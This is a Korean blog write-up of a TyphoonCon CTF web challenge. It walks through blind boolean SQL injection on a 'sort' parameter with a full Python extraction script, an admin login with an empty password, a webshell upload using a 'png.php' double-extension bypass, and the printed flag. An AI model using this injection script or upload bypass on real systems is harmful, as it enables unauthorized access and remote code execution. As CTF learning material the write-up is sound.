티스토리 뷰

728x90
반응형

문제 개요

Boolean-based Blind SQL Injection 으로 admin 의 password 를 찾아서 로그인 후 file upload 기능으로 webshell 업로드 하여 문제 품

 

문제 풀이

  • /robots.txt

위 경로에 접근하게 되면 아래 내용이 보입니다.

/items.php
/var/www/flag

 

힌트로 Flag 파일이 /var/ww/flag 에 위치해 있다는 것을 알려주고 있는 것 같고 /items.php 라는 경로가 있다는 것을 알려주고 있습니다.

 

  • /items.php?sort=1

sort 파라미터에는 Blind SQL Injection 이 가능해보였습니다. 수차례 시도 끝에 아래와 같은 query 문을 입력했을 때 true 또는 false 결과 값을 얻을 수 있었습니다.

if(1, id, count) desc limit 1#
/*
{
  "id": 1,
  "count": 22,
  "itemName": "Labtop"
}
*/

if(0, id, count) desc limit 1#
/*
{
  "id": 3,
  "count": 2,
  "itemName": "CTFCreators"
}
*/

true 일 경우에는 id 가 1 이 나오고 false 일 경우에는 id 가 3이 나오는 점을 이용해서 Boolean-based SQL Injection 코드를 작성했습니다.

 

from requests import *
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def SQLI():

    url = "https://typhooncon-knowme.chals.io/items.php?sort="
    result = ""

    for i in range(1,1000):

        byte = 0
        bit = pow(2,7)
        while bit >= 1:

            sql = sys.argv[1]
            payload = "if(ord(substr(({}),{},1))%26{}={},id,count) desc limit 1#".format(sql, i,bit,bit).replace("#","%23")
            # print(url+payload)
            res = get(url+payload, verify=False)
            if(res.text.find('"id":3,') != -1):
                byte += bit
    
            bit //=2
    
        if(byte == 0):
    
            break

        result += chr(byte)
        print("[+] Result: ", result)

if __name__ == '__main__':

    print("[*] Vuln URL: typhooncon-knowme.chals.io/items.php")
    print("[+] Vuln Param: sort")
    print("[*] Vuln Type: SQL Injection")
    SQLI()

 

결과적으로 users 테이블과 resetTokens 테이블을 발견할 수 있었고, users 테이블의 admin 계정의 password를 구해보았습니다.

1 | admin | admin@admin.com | d41d8cd98f00b204e9800998ecf8427e ()

 

위 password hash 값을 crack 해보았더니 공백문자가 나왔고, 실제 로그인 페이지에서 password input 태그의 required 속성을 제거하여 로그인할 수 있었습니다.

로그인 하고 나니 profile.php 경로로 이동하게 되면서 파일 업로드 할 수 있는 페이지가 나왔습니다.

업로드할 때 php webshell 을 업로드하게 되면 아래와 같이 RCE가 가능해집니다.

업로드할 때 단순히 test.php 로 업로드하게 되면 php 확장자를 막아서 업로드가 안되지만, test.png.php 로 업로드하게 되면 서버에서 첫번째 .(온점)을 기준으로 파일 확장자를 판단하기 때문에 우회가 가능해집니다.

png 파일은 업로드가 가능하기 때문에 test.png.php 로 업로드하였습니다.

 

업로드 경로는 따로 나오지 않아서 유추해야 했었는데, 다행히 /uploads/ 경로에 업로드가 된 것을 몇 차례 시도 후에 알 수 있었습니다.

total 104
-rw-r--r-- 1 www-data www-data    28 Jun 27 05:34 !@#$%^&*()_+~abc.png.php
drwsrwsrwt 1 root     root      4096 Jun 28 08:22 .
drwxr-xr-x 1 root     root      4096 Jun  6 11:07 ..
-rw-r--r-- 1 www-data www-data    19 Jun 27 15:00 111.jpg.php
-rw-r--r-- 1 www-data www-data    41 Jun 27 14:58 123.jpg.php
-rw-r--r-- 1 www-data www-data   299 Jun 27 14:59 321.jpg.php
-rw-r--r-- 1 www-data www-data    85 Jun 27 07:12 a.png.php
-rw-r--r-- 1 www-data www-data    19 Jun 27 05:20 abc.png.php
-rw-r--r-- 1 www-data www-data 61897 Jun 28 08:20 sample_duli.png
-rw-r--r-- 1 www-data www-data   315 Jun 28 08:22 test.png.php

 

이미 많은 사람들이 대회가 끝나고서도 업로드 시도했음을 알 수 있었는데요.ㅎㅎ 다들 저처럼 문제풀이를 작성하고 있나봅니다.

 

마지막으로 이전에 robots.txt 에서 봤던 힌트로 cat /var/www/flag 명령을 수행해보면 아래와 같이 flag가 나오는 것을 확인할 수 있습니다.

Do you know this?
SSD{9a0c843a03de8e257b1068a8659be56ac06991f3}
Do you know that?

 

- 끝 -

728x90
반응형
댓글